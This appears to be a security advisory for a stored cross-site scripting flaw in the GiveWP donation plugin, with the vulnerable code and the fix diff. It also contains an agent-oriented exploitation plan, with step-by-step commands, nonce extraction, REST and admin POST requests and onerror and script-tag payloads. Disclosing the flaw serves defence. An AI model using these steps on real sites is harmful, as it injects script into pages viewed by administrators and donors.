GiveWP <= 4.16.1 - Authenticated (Give Worker+) Stored Cross-Site Scripting via Sequioa Form
Description
The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sequoia[introduction][image]' parameter in all versions up to, and including, 4.16.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Give Worker-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v4.16.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-13704 (GiveWP Stored XSS) ## 1. Vulnerability Summary GiveWP (<= 4.16.1) contains a Stored Cross-Site Scripting (XSS) vulnerability in the "Sequoia" form template. The vulnerability occurs because the plugin fails to sanitize or escape the image URL parameter …
Show full research plan
Exploitation Research Plan: CVE-2026-13704 (GiveWP Stored XSS)
1. Vulnerability Summary
GiveWP (<= 4.16.1) contains a Stored Cross-Site Scripting (XSS) vulnerability in the "Sequoia" form template. The vulnerability occurs because the plugin fails to sanitize or escape the image URL parameter (sequoia[introduction][image]) when rendering the introduction section of a donation form. An authenticated attacker with "Give Worker" permissions (or higher) can inject arbitrary JavaScript, which executes in the context of any user (including administrators) viewing the donation form.
2. Attack Vector Analysis
- Endpoint: WordPress REST API or Admin Form Save.
- Vulnerable Parameter:
sequoia[introduction][image](within the form configuration object). - Authentication Required: Authenticated ("Give Worker" role or higher). Give Worker is a custom role provided by GiveWP.
- Preconditions: A donation form must be created using the "Sequoia" template.
- Sink:
src/Views/Form/Templates/Sequoia/sections/introduction.php
3. Code Flow
- Input: The attacker sends a request to update a GiveWP donation form. The payload is placed in the nested structure
sequoia -> introduction -> image. - Storage: The plugin updates the form settings, likely stored as post metadata under the
_give_form_settingsor_give_sequoia_template_settings(inferred) key for thegive_formspost type. - Retrieval: When a donation form is viewed, the
Give\Form\Templates\Sequoiaclass (inferred from file structure) retrieves these settings. - Rendering: The file
src/Views/Form/Templates/Sequoia/sections/introduction.phpis loaded. - Execution (Sink): At lines 31-35:
The variableif ( ! empty($image)) : ?> <div class="image"> <img src="<?php echo $image; ?>" /> </div> <?php endif; ?>$imageis echoed directly into thesrcattribute withoutesc_url()oresc_attr().
4. Nonce Acquisition Strategy
GiveWP's Visual Form Builder and modern templates primarily interact via the WordPress REST API. To exploit this, the agent must obtain a wp_rest nonce.
- Shortcode Identification: The Sequoia template is used for forms rendered via the
[give_form]shortcode or the dedicated GiveWP Form block. - Page Creation:
- Create a page with the Sequoia form:
wp post create --post_type=page --post_title="Donate" --post_status=publish --post_content='[give_form id="FOR_ID"]'
- Create a page with the Sequoia form:
- Nonce Extraction:
- Navigate to the WordPress Admin dashboard as a Give Worker.
- Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject (standard WordPress) or GiveWP's localized data. - Target Variable:
window.wpApiSettings.nonceorwindow.give_vars.nonce(inferred).
5. Exploitation Strategy
The goal is to update an existing donation form's configuration to include a malicious onerror attribute in the image tag.
Step 1: Identify Form ID
List existing forms to find a target:wp post list --post_type=give_forms
Step 2: Inject Payload
Use the http_request tool to update the form via the REST API.
- Method:
POST - URL:
/wp-json/give-api/v2/forms/{ID}(Note: The exact V2/V3 endpoint path should be verified viawp-jsondiscovery). - Headers:
X-WP-Nonce: [EXTRACTED_NONCE]Content-Type: application/json
- Payload:
Note: If the REST API structure differs, the fallback is to use the Admin{ "settings": { "template": "sequoia", "sequoia": { "introduction": { "image": "x\" onerror=\"alert(document.domain)\"" } } } }save_posthook via a multipart/form-data POST to/wp-admin/post.php.
Step 3: Trigger XSS
Navigate to the frontend page where the form is published.
- URL:
/?post_type=give_forms&p={ID}or the page created in Step 4.
6. Test Data Setup
- User Role: Create a user with the Give Worker role.
wp user create attacker attacker@example.com --role=give_worker --user_pass=password - Form Creation: Create a donation form using the Sequoia template.
wp post create --post_type=give_forms --post_title="XSS Test Form" --post_status=publishwp post meta update [NEW_ID] _give_form_template sequoia - Landing Page: Ensure a page exists to view the form.
7. Expected Results
- The HTTP response for the update should return
200 OK. - When viewing the form, the HTML source should contain:
<img src="x" onerror="alert(document.domain)" /> - A JavaScript alert box should appear in the browser.
8. Verification Steps
After the HTTP request, verify the injection in the database:wp post meta get [ID] [META_KEY_FOUND_DURING_RESEARCH]
(Likely _give_form_settings)
Check if the payload is present in the serialized or JSON data:wp post meta get [ID] _give_form_settings | grep "onerror"
9. Alternative Approaches
If the REST API requires higher privileges than Give Worker, use the Metabox save route:
- Endpoint:
POST /wp-admin/post.php - Body:
action=editpostpost_ID=[ID]_give_form_template=sequoiasequoia[introduction][image]=x" onerror="alert(1)"_wpnonce=[NONCE_FROM_EDIT_PAGE]
If onerror is filtered by a firewall, use a simple tag breakout:"><script>alert(1)</script> which would result in:<img src=""><script>alert(1)</script>" /> (broken but effective).
Summary
The GiveWP plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the Sequoia form template in versions up to 4.16.1. This is caused by a failure to sanitize and escape the introduction image URL before rendering it in the form's HTML, allowing authenticated attackers with Give Worker-level access or higher to execute arbitrary scripts in the browsers of users viewing the form.
Vulnerable Code
// src/Views/Form/Templates/Sequoia/sections/introduction.php:33 <?php if ( ! empty($image)) : ?> <div class="image"> <img src="<?php echo $image; ?>" /> </div> <?php endif; ?> --- // includes/forms/template.php:2038 <div class="give-submit-button-wrap give-clearfix"> <input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase" value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/> <span class="give-loading-animation"></span> </div>
Security Fix
@@ -1,5 +1,8 @@ == Changelog == += 4.16.2: July 1st, 2026 = +* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704). + = 4.16.1: June 29th, 2026 = * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses. * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246). @@ -6,7 +6,7 @@ * Description: The most robust, flexible, and intuitive way to accept donations on WordPress. * Author: GiveWP * Author URI: https://givewp.com/ - * Version: 4.16.1 + * Version: 4.16.2 * Requires at least: 6.6 * Requires PHP: 7.4 * Text Domain: give @@ -426,7 +426,7 @@ { // Plugin version. if (!defined('GIVE_VERSION')) { - define('GIVE_VERSION', '4.16.1'); + define('GIVE_VERSION', '4.16.2'); } // Plugin Root File. @@ -1095,6 +1095,8 @@ /** * Save form template setting handler * + * @since 4.16.2 Normalize file field values as URLs when saving form template settings. + * * @param string $meta_key * @param string $new_template * @param int $formID @@ -1145,6 +1147,10 @@ $value = $options[ $group->id ][ $field->id ]; break; + case 'file': + $value = esc_url_raw( $options[ $group->id ][ $field->id ] ); + break; + case 'group': /* @var \Give\FormAPI\Form\Group $field */ foreach ( $options[ $group->id ][ $field->id ] as $index => $subFields ) { @@ -2021,11 +2021,13 @@ /** * Give Donation form submit button. * + * @since 4.16.2 Escape submit button label in form markup. + * @since 1.8.8 + * * @param int $form_id The form ID. * @param array $args * * @return string - * @since 1.8.8 */ function give_get_donation_form_submit_button( $form_id, $args = [] ) { @@ -2036,7 +2038,7 @@ ?> <div class="give-submit-button-wrap give-clearfix"> <input type="submit" class="give-submit give-btn" id="give-purchase-button" name="give-purchase" - value="<?php echo $display_label; ?>" data-before-validation-label="<?php echo $display_label; ?>"/> + value="<?php echo esc_attr( $display_label ); ?>" data-before-validation-label="<?php echo esc_attr( $display_label ); ?>"/> <span class="give-loading-animation"></span> </div> <?php @@ -2,14 +2,14 @@ # This file is distributed under the same license as the Give - Donation Plugin plugin. msgid "" msgstr "" -"Project-Id-Version: Give - Donation Plugin 4.16.1\n" +"Project-Id-Version: Give - Donation Plugin 4.16.2\n" "Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/givewp\n" "Last-Translator: FULL NAME <EMAIL@ADDRESS>\n" "Language-Team: LANGUAGE <LL@li.org>\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" -"POT-Creation-Date: 2026-06-29T13:49:57+00:00\n" +"POT-Creation-Date: 2026-07-01T14:53:55+00:00\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "X-Generator: WP-CLI 2.12.0\n" "X-Domain: give\n" @@ -133,7 +133,7 @@ #: build/Campaigns/Blocks/CampaignForm/render.php:26 #: includes/forms/template.php:695 #: includes/forms/template.php:725 -#: includes/forms/template.php:2034 +#: includes/forms/template.php:2036 #: includes/forms/widget.php:172 #: includes/gateways/stripe/includes/give-stripe-scripts.php:54 #: includes/shortcodes.php:658 @@ -2892,7 +2892,7 @@ msgid "Goal Statistics" msgstr "" -#: includes/admin/forms/class-metabox-form-data.php:1416 +#: includes/admin/forms/class-metabox-form-data.php:1422 #: includes/admin/settings/class-settings-gateways.php:229 #: includes/gateways/offline-donations.php:41 #: includes/gateways/offline-donations.php:82 @@ -14556,7 +14556,7 @@ msgid "Hide Terms" msgstr "" -#: includes/forms/template.php:2303 +#: includes/forms/template.php:2305 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:121 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:132 #: includes/gateways/stripe/includes/class-give-stripe-gateway.php:143 @@ -14569,11 +14569,11 @@ msgid "Notice:" msgstr "" -#: includes/forms/template.php:2303 +#: includes/forms/template.php:2305 msgid "Test mode is enabled. While in test mode no live donations are processed." msgstr "" -#: includes/forms/template.php:2332 +#: includes/forms/template.php:2334 msgid "Please log in in order to complete your donation." msgstr "" @@ -5,7 +5,7 @@ Requires at least: 6.6 Tested up to: 7.0 Requires PHP: 7.4 -Stable tag: 4.16.1 +Stable tag: 4.16.2 License: GPLv3 License URI: http://www.gnu.org/licenses/gpl-3.0.html @@ -273,6 +273,9 @@ 10. Use almost any payment gateway integration with GiveWP through our add-ons or by creating your own add-on. == Changelog == += 4.16.2: July 1st, 2026 = +* Security: Added additional escaping and sanitization to the Sequoia (Multi-Step Form) template settings and donation form markup (CVE-2026-13704). + = 4.16.1: June 29th, 2026 = * Security: Standardized email access confirmation AJAX responses to prevent distinguishable server responses. * Security: Added additional escaping and sanitization to the Campaign Comments block and shortcode attributes (CVE-2026-13246). @@ -1,5 +1,9 @@ <?php +/** + * @since 4.16.2 Escape introduction image URL when rendering the template. + */ + use Give\Helpers\Form\Template\Utils\Frontend as FrontendFormTemplateUtils; $formInfo = get_post(FrontendFormTemplateUtils::getFormId()); @@ -30,8 +34,7 @@ <?php if ( ! empty($image)) : ?> <div class="image"> - <img src="<?php - echo $image; ?>" /> + <img src="<?php echo esc_url( $image ); ?>" /> </div> <?php endif; ?> @@ -1,9 +1,9 @@ <?php return array( 'root' => array( 'name' => 'impress-org/give', - 'pretty_version' => '4.16.1', - 'version' => '4.16.1.0', - 'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c', + 'pretty_version' => '4.16.2', + 'version' => '4.16.2.0', + 'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), @@ -20,9 +20,9 @@ 'dev_requirement' => false, ), 'impress-org/give' => array( - 'pretty_version' => '4.16.1', - 'version' => '4.16.1.0', - 'reference' => 'fdda404b7e9d021966f10cb0da1e6b58bd88ec3c', + 'pretty_version' => '4.16.2', + 'version' => '4.16.2.0', + 'reference' => '22eba7d49d574a629258cdd18ed14e0f2595eb66', 'type' => 'wordpress-plugin', 'install_path' => __DIR__ . '/../../', 'aliases' => array(),
Exploit Outline
The exploit requires authentication with the 'Give Worker' role (or higher). An attacker targets a donation form utilizing the 'Sequoia' template. Using either the WordPress REST API (e.g., `POST /wp-json/give-api/v2/forms/{ID}`) or the admin dashboard form-save endpoint, the attacker submits a request containing a malicious XSS payload (e.g., `x" onerror="alert(document.domain)"`) within the `sequoia[introduction][image]` parameter. This payload is stored in the form's metadata. When any user subsequently views the affected donation form, the malicious script is rendered into the `src` attribute of an `<img>` tag without escaping, triggering the execution of the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.